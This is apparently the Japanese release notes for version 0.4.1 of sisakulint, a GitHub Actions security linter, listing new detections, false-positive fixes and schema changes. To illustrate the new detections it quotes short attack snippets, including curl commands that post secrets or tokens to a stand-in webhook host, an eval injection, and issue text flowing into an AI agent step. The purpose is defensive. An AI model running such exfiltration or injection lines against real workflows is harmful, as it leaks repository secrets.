sisakulint/facts/v0sourceの値assumptionを削除しました。facts ファイルがこの source を持つことはなかったため(v0.4.0 でもそのようなファイルは exit code 66 で拒否し、v0.4.1 も同様です)、v0.4.0 が--write-factsで書いた facts ファイルは、v0.4.1 でもそのまま読めます。v0.4.0 の Report のfactsでsource: assumptionを持つエントリは、v0.4.1 のスキーマでは検証に通りません。x-assumeは残りますが、意味が変わりました。その kind を挙げる false positive form の Finding が成り立つ回答で、反対の回答がそれらの Finding を取り除きます。実行がx-assumeで fact に回答することはありません。- 新しい fact kind
repo.runner-label-trusted(引数repoとrunner_label)と、新しい定義runner-labelを追加しました。fact kind は 30 個です(v0.4.0 は 29 個)。
sisakulint/report/v0: 必須フィールドunread_usesを追加しました(後述)。Report のオブジェクトはadditionalProperties: falseのため、v0.4.1 の Report は v0.4.0 の report スキーマでは検証に通りません。certainty: confirmedの説明から、仮定の値への言及をなくしました。- finding kind の引数(
findings-v0.json):credentials.configuration-variable(container、password)を追加しました。ai-action-prompt-injection.envの説明に、ジョブと workflow の env を含めました。 sisakulint/registry/v0: 説明文の変更だけです。
exit code が変わりうるその他の変更
credentials(#749)。varsを読み、varsとsecrets以外のコンテキストを読まないパスワードは、これまでcredentials.password-exprでした(inconclusive、ビット 8、ルールで最も高い severity の critical として扱う)。v0.4.1 ではcredentials.configuration-variable(confirmed、medium、ビット 1)になります。--fail-on highまたは--fail-on criticalでは、この箇所はビットを立てなくなります。commit-sha(#786)。 呼び出し元を読み、その./の呼び出し先を読まない実行では、commit-sha.local-callee-unread(inconclusive、ビット 8)が出ます。たとえばcaller.ymlがuses: ./.github/workflows/callee.ymlを持つとき、sisakulint --root . .github/workflows/caller.ymlは v0.4.0 では 0 を返し、v0.4.1 では 8 を返します。呼び出し先も渡すか(… caller.yml callee.yml)、--read-all caller.ymlを使うか、--acceptでその箇所を受け入れてください。- 検出の修正。 「検出の修正」にある修正は、v0.4.0 が見逃していた Finding を追加し、誤検知だった Finding を取り除きます。
新機能
credentials.configuration-variable(#749)
container または services のレジストリのパスワードが ${{ vars.REGISTRY_PASSWORD }} のように configuration variable を読むとき、credentials は新しい finding kind credentials.configuration-variable を報告します(medium、repo.public によらず confirmed)。GitHub は configuration variable の値を平文で保持します。runner は実行ログでその値をマスクせず、REST API は、リポジトリの configuration variable を読める者(Variables 権限を持つ app など)にその値を返します。対処は、パスワードを失効させ、新しいパスワードを secrets から渡すことです。
secretsとvarsの両方を読むパスワード(secrets.PW || vars.PW)も報告します。secret が設定されていなければ、値は variable の値になるためです。credentials.password-expr(inconclusive)は、その他のコンテキスト(env、inputs、matrix)と、${{ }}1 つで書かれたcontainerを対象にするようになりました。- CVSS v4.0:
CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:L/E:U。攻撃者はlog-reader、前提条件はplain-text-variableです。
信頼済みの self-hosted runner(#744、#792)
-
fact
repo.runner-label-trusted(user-supplied、--onlineは問い合わせません)。オーナーはラベルごとに、そのラベルを持つ runner がフォークからのプルリクエストのコードを実行しないことを宣言します(たとえば、保護された ref 上の選ばれた workflow だけが使える runner group に、その runner が属している場合)。ジョブはruns-onのすべてのラベルを持つ runner でだけ実行されるため、runs-onに信頼済みのラベルを持つジョブをself-hosted-runnerは報告しません。どこからも回答のないラベルは信頼されません。宣言しなければ、Finding はこれまでと同じです。この fact は Finding の条件に入らないため、confirmedの Finding がconditionalになることはありません。# .github/sisakulint-config.yaml(--config で渡す) fact: - 'repo.runner-label-trusted[runner_label=gh-intel-fast]=true' - 'repo.runner-label-trusted[runner_label=gh-intel-economy]=true'
ラベルは大文字と小文字を区別せずに比較します。
--repoを使うときは引数repoも書いてください(repo.runner-label-trusted[repo=owner/name,runner_label=gh-intel-fast]=true)。repoのないエントリは、repo付きの問い合わせに一致しません。すべての self-hosted runner が持つself-hostedや、GitHub-hosted runner または他のリポジトリの runner も持ちうるラベルは宣言しないでください。宣言は設定ファイルと同じく Finding を取り除くため、CODEOWNERS でファイルを保護するか、ベースブランチから読んでください。 -
runs-onの matrix の式。${{ }}1 つで書かれ、値がすべて書かれている matrix 変数だけを読むruns-onは、値の組み合わせごとに評価します(最大 256 通り)。これまではself-hosted-runner.runs-on-expr(inconclusive)でした。例:${{ matrix.r == 'x' && fromJSON('["self-hosted","x"]') || matrix.r }}。 -
ルールが読めない
runs-on(runs-on-expr、input-dispatch)、たとえば${{ vars.X || 'label' }}は、フォークからのプルリクエストがリポジトリの runner に届かないと fact が答えるとき、報告しません。repo.public=falseかつ、repo.fork-pr-run-workflows=falseまたはrepo.allow-forking=falseの場合です(#792、#793 を close)。これらの fact は、そのようなruns-onがあるときだけ問い合わせます。 -
self-hosted-runner.publicとself-hosted-runner.privateの remedy に、この fact を記載しました。
AI エージェントのルールが、ジョブと workflow の env を読む(#780)
ai-action-prompt-injection、ai-action-excessive-tools、ai-action-execution-order、ai-action-unsafe-sandbox は、ジョブの env と workflow の env の値を、エージェントのステップに届く値として数えます。runner がこれらの変数を action のプロセスに渡すためです。たとえば、ジョブに env: ISSUE_BODY: ${{ github.event.issue.body }} があり、google-github-actions/run-gemini-cli のステップが ISSUE_BODY を読む場合、ジョブの env の位置に ai-action-prompt-injection.env を報告します。v0.4.0 はこの位置に何も報告しませんでした。
- ステップの env の変数は、ジョブと workflow の env の同名の変数を隠し、ジョブの env の変数は workflow の env の同名の変数を隠します。
runs-onで Windows runner と決まる場合は、actions/runnerの Windows での比較と同じく、名前を大文字と小文字を区別せずに比較します。runs-onが Windows と決まるのは、self-hosted runner のラベルwindowsがあるとき、またはすべてのラベルが GitHub-hosted の Windows runner のラベルであるときだけです。ラベルにlinuxまたはmacOSがあるときは決まりません。windows-buildのようなカスタムラベルでは Windows と決まりません。 ${{ }}1 つで書かれたステップまたはジョブの env は任意の名前の変数を設定しうるため、その env の外側の env は読みません。- 前のステップでの
$GITHUB_ENVへの書き込みを、ジョブまたは workflow の env の値を置き換えるものとしては読みません。書き込みが起こるかどうかは、ステップのif、スクリプトの分岐、間にあるステップで決まるためです。 ai-action-prompt-injectionは、ジョブまたは workflow の env の値にある参照を、その値が届くエージェントのステップをすべて読んだ後に、env の位置で 1 回だけ報告します。条件のない Finding を出すステップがあればその Finding を、なければ条件付きの Finding を他のステップのInconclusiveとともに、どちらもなければ kind ごとに 1 つのInconclusiveを報告します。このような参照の fingerprint は、どのステップから見ても同じです。--add-attacker variables-writerまたはsecrets-writerを付けた場合、varsまたはsecretsの値の evidence の注記に、値が通るジョブまたは workflow の env の変数名を示します。- 新しい宣言: false positive form
unknown-os-caseとgithub-env-write(4 ルール)、undetected formjob-env-composite(4 ルール。エージェントのステップが composite action のステップである場合)、whole-env(ai-action-excessive-tools、ai-action-execution-order、ai-action-unsafe-sandbox)、windows-label-other-os(4 ルール)。ai-action-prompt-injectionの undetected formwhole-withは、ジョブと workflow の env も対象にしました。undetected formjob-envとjob-env-value-runは削除し、その例は true positive になりました。
unread_uses: 実行が読まなかった uses(#811)
--online がなく --facts にも回答がない実行では、ルールは他リポジトリの reusable workflow と action を読みません。v0.4.0 の Report はそのことを示していませんでした。v0.4.1 は、そのような uses を新しい Report のフィールド unread_uses に列挙します。各エントリは、location、書かれたとおりの uses、fact(query。ジョブの uses は workflow.definition、ステップの uses は action.definition)、reason(offline: pass --facts or --online、not in the file of facts、または --rule で実行したルールがその fact を問い合わせない場合の no rule that ran asked the fact)を持ちます。
- 実行したルールによらず、位置ごとに 1 エントリです。fact に回答があった(
--facts)位置や、問い合わせた(--online)位置は列挙しません。 - テキスト出力では、
not run行の後に、エントリごとに 1 行not read FILE:LINE:COLUMN USES: KIND: REASONを表示します。 - エントリは
Findingではありません。exit code のビットを立てず、--acceptも適用されません。--format lineと SARIF には出力しません。
commit-sha.local-callee-unread(#786)
./ の呼び出し先のファイルが読んだファイルに含まれないとき、commit-sha は何も報告せず、呼び出し先の中の uses は検査されていませんでした。v0.4.1 は、./.github/workflows/<file> を呼ぶジョブと、./<dir> を使う workflow のステップについて、新しい inconclusive kind local-callee-unread(disposition todo、needs repo-file)を呼び出し元の uses の位置に報告します。実行されないジョブは除きます。composite action の中の ./ のステップは、ジョブのワークスペースを指すため対象外です。
fork 専用の pull_request ジョブでの secret-exfiltration(#809)
フォークからのプルリクエストの pull_request の実行は、リポジトリがフォークのプルリクエストの workflow に secret を送る設定でない限り、GITHUB_TOKEN 以外の secret を受け取りません。if がフォークからのプルリクエストだけを通すジョブ(例: github.event.pull_request.head.repo.fork == true)で、GITHUB_TOKEN 以外の secret については、secret-exfiltration.untrusted-destination の条件を request.destination-trusted = false かつ repo.fork-pr-secrets = true にしました。repo.fork-pr-secrets=false ならルールは何も報告せず、回答がなければ Finding は conditional です。if のないジョブ、リポジトリのブランチからのプルリクエストも通す if を持つジョブ、他のイベントも持つ workflow(on: [pull_request, push])では Finding が残ります。
2 つの値を持つ --add-attacker(#803)
複数の追加の攻撃者の印が付いた Finding は、各攻撃者の実行の evidence と related を持つようになりました。v0.4.0 は 1 つの実行のエントリだけを残していたため、たとえば --add-attacker variables-writer,secrets-writer での ai-action-excessive-tools の vars.* の注記が失われていました。
検出の修正
v0.4.0 が見逃していた Finding
bash -cとsh -c(#748)。bashまたはshの-cの後のコードが、シングルクォートで囲まれた 1 語であれば、独立したスクリプトとして読みます。sudoなどのラッパーや、-ecのようにまとめたオプションにも対応します。スクリプト中のコード、リクエスト、$GITHUB_ENV・$GITHUB_PATH・$GITHUB_OUTPUTへの書き込みを読むルールが、このスクリプトを読みます。例:bash -c 'eval "$T"'(code-injection)、bash -c 'echo "X=$T" >> "$GITHUB_ENV"'(envvar-injection)、sh -c 'curl -d "$TOK" …'(secret-exfiltration)。コマンドの前にスクリプトが代入した変数は、env の値として数えません。ダブルクォートのコードや連結されたコードは、引き続き読みません(undetected formenv-variable-nestedとnested-shellはそれらに限定しました)。declare "$n=…"(#794)。declare、declare -g、local、export、readonlyに渡された"$n=value"(または${n}=value)という語は、すべての経路でnが 1 つのリテラルの名前を持つ場合に代入として読みます。たとえばn=out; declare "$n=$GITHUB_ENV"; echo "V=$V" >> "$out"はenvvar-injection.controlledになります。formname-not-literalは、n=$(printf NAME)のように 1 つのリテラルの名前を持たないnに限定しました。- 宛先の複数の値(#788)。
secret-exfiltrationとリクエストの読み取りは、宛先の語に届く変数の代入を、テキストで最後のものだけでなくすべて判定します(語ごとに最大 8 個の値)。if c; then U=https://hooks.example.com; else U=https://api.github.com; fi; curl -d "$SECRET" "$U"はsecret-exfiltration.untrusted-destinationになります。引き続き検出しないもの: コピーを経由する値(U=$A、formseveral-destination-values)、同時に設定される 2 つの変数(several-destination-variables)、9 個以上の代入(destination-value-limit)。 - ローカルの composite action への
with全体(#806)。 ステップがwithを${{ }}1 つで書いた場合(with: ${{ fromJSON(github.event.issue.body) }})、ローカルの composite action のすべての input がその式全体を受け取るものとして読みます。action の中でinputs.<id>を読むルールが報告するようになりました。 - ローカルの composite action の中の
cache-poisoning(#754)。 kindattacker-keyとattacker-pathは、ジョブが実行するローカルの composite action の中のactions/cacheとactions/cache/saveのステップを読みます。Finding はaction.ymlのステップの位置に出て、evidence に呼び出し元のusesを示します。 - ローカルの reusable workflow と composite action の中の
actions/labeler(#757)。 そこにある labeler のステップを、リポジトリ内の呼び出し元がそれを実行するイベント(呼び出し元のifで絞り込んだもの)で読みます。untrusted-checkout、cache-poisoning、ai-action-unrestricted-trigger、unsound-contains、artifact-poisoningは、そのようにラベルが付いた実行を、人が承認した実行としては読まなくなりました。この 5 ルールから undetected formlabeler-callを削除しました。 labeledの実行でのartifact-poisoning(#810)。 あるジョブがプルリクエストのコードをビルドして artifact をアップロードし、同じ実行の別のジョブがそれをダウンロードして実行する場合、攻撃者がラベルを自由に付けられるとき(actions/labelerが付けるなど)に報告します。environment を持つジョブは引き続き対象外です。undetected formlabeler-same-runを削除しました。untrusted-checkoutとartifact-poisoning(#820) は、bun、deno(task、run、test、bench、serve、install)、cargo +<toolchain> …、npm のコマンドの camelCase の名前(npm cleanInstall)、rake -C/--directory/-f/--rakefile、bundle --gemfile、dotnetのオペランド(dotnet build pr/app.csproj)について、.checkoutや.download(checkout.executedやdownload.executedに依存する)ではなく.executedを報告します。unmasked-secret-exposure(#821)。${{ toJSON(github.event_name == 'push' && env) }}-…や${{ env[github.event_name] }}-…のような output を、それを読むジョブまで追跡します。v0.4.0 は、このような output を runner が捨てるものとして読んでいました。undetected formoutput-with-secretは、一部の実行で空になる secret の場合に限定しました。bot-conditions(#747)。 呼び出し元がすべては分からない reusable workflow(同じリポジトリの workflow がowner/repo/.github/workflows/<file>@<ref>で呼ぶものなど)を、すべてのイベントで読むようにしたため、その中の bot との比較を報告します。undetected formcaller-by-repository-nameを削除しました。
v0.4.1 で取り除いた誤検知
- 実行されないステップとジョブ(#746)。 workflow のすべてのイベントで
ifが偽になるrunのステップ(if: false)は、Finding を出しません。usesのステップは引き続き出します。action の pre ステップはifによらず実行されるためです。pull_requestとpull_request_targetのopenedとreopenedではgithub.event.pull_request.mergedは偽なので、それらの type でif: github.event.pull_request.merged == trueを持つジョブは実行されません。false positive formpermissions.job-never-runsを削除しました。 - 呼び出し元が実行されないローカルの reusable workflow(#797)。
onがworkflow_callだけで、呼び出し元がすべて分かっていて、呼び出し元のジョブがすべて実行されない(またはそのような workflow の中にある)ローカルの reusable workflow は、Finding を出しません。 - 実行されないステップ(さらに 2 ルール、#796)。
untrusted-checkoutでは、実行されないステップによって checkout が.executedになることはなくなりました(他のステップがなければ、Finding はcheckout.executedを条件とする.checkoutです)。unmasked-secret-exposureは、実行されないrunのステップを除外します。 - workflow のイベント(#753)。
onの読み取りをルール間で 1 つに統一しました。typesのないpull_requestとpull_request_targetは、opened、synchronize、reopenedで実行されます。呼び出された workflow の中では、github.event_nameは呼び出し元のイベントで、workflow_callにはなりません。そのため、on: pull_requestでif: github.event.action == 'closed'を持つジョブや、呼び出される workflow でif: github.event_name == 'workflow_call'を持つジョブは実行されず、Finding を出しません。cache-bloatのsaves_onはソートされます(pull_request、push)。 - 呼び出し元の
if(#747)。 値を絞り込む呼び出し元ジョブのif(例:github.head_ref)は、すべての呼び出し経路のifがその値を絞り込む場合、呼び出される workflow と composite action の中でも値を絞り込みます。 git -c(#750)。git -c KEY=VALUE(と--config-env)の値をコードとして扱うのは、KEY が git がデータとして保持するキー(user.name、user.email、author.*、committer.*、core.autocrlf、init.defaultBranch、http.extraHeaderなど)でない場合、キーがリテラルでない場合、または語にクォートの外の展開がある場合だけです。git -c user.name="$TITLE" commitはcode-injection.env-variableではなくなりました。このリストにないデータのキー(merge.conflictStyleなど)は引き続き報告します(false positive formgit-config-valueはそれに限定しました)。- すべての改行を取り除くパラメータ展開(#799)。
envvar-injectionは${V%%X*}と${V##*X}のパターンを bash と同じように読み、X がクォートされた改行、または改行・[:space:]・[:cntrl:]を含むブラケット式であれば、Finding を出しません(例:%%[[:space:]_]*、%%[$' \n']*、##*[[:space:]])。%、#、[:blank:]、[ ]、否定、*がない場合は、引き続き Finding を出します。 secret-exfiltrationの fork 専用pull_requestジョブ(#809)と、self-hosted-runnerの読めないruns-on(#792): 「新機能」を参照してください。- 1 つのリテラルの名前を持つ
declare "$n=…"(#794) は、代入によって値が安全になる箇所で、code-injection、request-forgery、set-output-injection、unsecure-commandsの Finding を出しません。
レジストリの宣言
--registry の finding kind は 79 個(v0.4.0 は 78 個)、inconclusive kind は 261 個(260 個)、undetected form は 613 個(611 個)、false positive form は 387 個(380 個)です。
| 変更 | 宣言 |
|---|---|
| finding kind の追加 | credentials.configuration-variable |
| inconclusive kind の追加 | commit-sha.local-callee-unread |
| undetected form の追加 | job-env-composite(AI エージェントの 4 ルール)、whole-env(3 ルール)、windows-label-other-os(4 ルール)、secret-exfiltration.destination-value-limit、secret-exfiltration.several-destination-variables |
| undetected form の削除 | job-env と job-env-value-run(AI エージェントのルール)、labeler-call(ai-action-unrestricted-trigger、artifact-poisoning、cache-poisoning、unsound-contains、untrusted-checkout)、artifact-poisoning.labeler-same-run、bot-conditions.caller-by-repository-name |
| undetected form の限定 | env-variable-nested、nested-shell、name-not-literal、several-destination-values、output-with-secret |
| false positive form の追加 | unknown-os-case、github-env-write(AI エージェントの 4 ルール) |
| false positive form の削除 | permissions.job-never-runs |
| false positive form の限定 | code-injection.git-config-value、name-not-literal |
ビルド、パッケージ、開発
- リリースアセット:
sisakulint_0.4.1_darwin_amd64.tar.gz、sisakulint_0.4.1_darwin_arm64.tar.gz、sisakulint_0.4.1_linux_amd64.tar.gz、sisakulint_0.4.1_linux_arm64.tar.gz、sisakulint_0.4.1_linux_armv6.tar.gz、sisakulint_0.4.1_checksums.txt(v0.4.0 と同じ構成)。 - Go と依存: go.mod は引き続き Go 1.26.11 を要求し、linter はサードパーティのモジュールを必要としません。
- テスト: 例
undetected/code-injection/env-variable-coproc.ymlは、coproc が終了しうる後にその出力を読んでいたため、TestExampleAttacksがときどきno harmになっていました。先にディスクリプタを複製するように例を修正しました(#790、#789 を修正)。 - このリポジトリの CI(Dependabot):
github/codeql-actionv4.37.4 → v4.39.4(#573、#775)、actions/upload-artifact7.0.1 → 7.0.2(#665)、goreleaser/goreleaser-action7.2.3 → 7.3.0(#666)、ossf/scorecard-action2.4.4 → 2.6.0(#667、#777)、actions/setup-go7.0.0 → 7.1.0(#776)。いずれもこのリポジトリの workflow だけの変更です。
今後の互換性
JSON スキーマは引き続き sisakulint/report/v0、sisakulint/registry/v0、sisakulint/facts/v0、sisakulint/acceptances/v0 です。v0.4.0 と同じく、以降の 0.x リリースで JSON スキーマと Go パッケージの互換性が保たれることは約束しません。
アップグレードのチェックリスト
- スクリプトから
--no-assumptionsを、設定ファイルからキーno-assumptionsを削除する。 - exit code の処理を確認する。ビット 1 を立てていた実行がビット 2 を立てることがある。ビット 1、2、8、16 のいずれかで失敗させる。
- 一度
--format jsonで実行し(またはテキスト出力のconditionalの節を読み)、不明な fact に回答する。--online --repo "$GITHUB_REPOSITORY"、facts ファイル、--fact、--configのfactが使える。 - フォークからのプルリクエストが届かない self-hosted runner でジョブを実行している場合は、そのラベルを
repo.runner-label-trustedで宣言する。 - 一部のファイルだけを lint している場合は、
commit-sha.local-callee-unreadがビット 8 を立てないよう、./の呼び出し先も渡すか、--read-allを使う。 - Report や facts ファイルをスキーマで検証している場合は、v0.4.1 のスキーマを使う。
unread_usesを読み、デフォルトの実行が読まなかったusesを確認する。読ませるには--onlineまたは--factsを渡す。
プルリクエスト
- #742 不明な fact を最悪の値で仮定する代わりに conditional の Finding を出し、
--no-assumptionsを削除(#727 を close)(@on-keyday) - #744
self-hosted-runner: 信頼済みの runner ラベルと、matrix のruns-onの式(@HikaruEgashira) - #746 ジョブとステップの到達性を 1 か所で決め、すべてのルールに適用(#714 を修正)(hikaevi[bot])
- #747 呼び出し元ジョブの
ifと呼び出し元の集合を、呼び出される workflow の読み取りに引き継ぐ(#715 を修正)(hikaevi[bot]) - #748 スクリプトの流れを読むすべてのルールで、
bash -cとsh -cのコードを入れ子のスクリプトとして読む(#716 を修正)(hikaevi[bot]) - #749 configuration variable から読んだレジストリのパスワードを報告(@HikaruEgashira)
- #750
git -cのすべての値をコードとして扱うのをやめる(#718 を修正)(hikaevi[bot]) - #753 ジョブのイベントと、呼び出されたときだけ実行されるかどうかを、1 つの共通関数で計算(#713 を修正)(hikaevi[bot])
- #754
cache-poisoningの kindattacker-keyとattacker-pathを、ローカルの composite action の中でも読む(#719 を修正)(hikaevi[bot]) - #757 ローカルの reusable workflow と composite action の中の
actions/labelerを読む(#720 を修正)(hikaevi[bot]) - #780 ジョブと workflow の env を、AI エージェントのステップに届く値として数える(#722 を close。hikaevi[bot] の #758 の続き)(@on-keyday)
- #786
commit-sha: ローカルの呼び出し先が読んだファイルに含まれないときInconclusiveを報告(#721 を修正)(hikaevi[bot]) - #788 secret の流れとリクエストの宛先で、届く変数の代入をすべて判定(#755 を修正)(hikaevi[bot])
- #790
TestExampleAttacksの coproc の例を決定的にする(#789 を修正)(hikaevi[bot]) - #792
self-hosted-runner: フォークからのプルリクエストが runner に届かないとき、読めないruns-onを除外(#793 を close)(@HikaruEgashira) - #794
nが 1 つの既知のリテラル値を持つとき、declare "$n=..."を代入として読む(#756 を修正)(hikaevi[bot]) - #796
untrusted-checkoutとunmasked-secret-exposureが、ステップが実行されないという判定を読むようにする(#763 を修正)(hikaevi[bot]) - #797 呼び出し元のジョブが実行されないローカルの reusable workflow では Finding を出さない(#764 を修正)(hikaevi[bot])
- #799
envvar-injection: パラメータ展開ですべての改行を取り除いた値には Finding を出さない(#692 を修正)(hikaevi[bot]) - #803 2 つの
--add-attackerの値で、すべての攻撃者の evidence を保持(#694 を修正)(hikaevi[bot]) - #806
with全体としてローカルの composite action に渡された、攻撃者が制御する値を読む(#695 を修正)(hikaevi[bot]) - #809
secret-exfiltration:repo.fork-pr-secretsが false のとき、fork 専用のpull_requestジョブに Finding を出さない(#804 を修正)(hikaevi[bot]) - #810
artifact-poisoning: 同じ実行の別のジョブがプルリクエストからビルドした artifact を実行するlabeledの実行を報告(#697 を修正)(hikaevi[bot]) - #811 実行が読まなかった他リポジトリの reusable workflow と action を列挙(
unread_uses)(#696 を修正)(hikaevi[bot]) - #820
untrusted-checkout: bun、deno、cargo +toolchain、camelCase の npm コマンド、checkout 内のパスを渡された rake・bundle・dotnet で.executedを報告(#699 を修正)(hikaevi[bot]) - #821
unmasked-secret-exposure:A && Bと、不明な INDEX を持つenv[INDEX]を追跡(#817 を修正)(hikaevi[bot]) - #573、#665、#666、#667、#775、#776、#777 CI の action の Dependabot による更新(dependabot[bot])
Full Changelog: v0.4.0...v0.4.1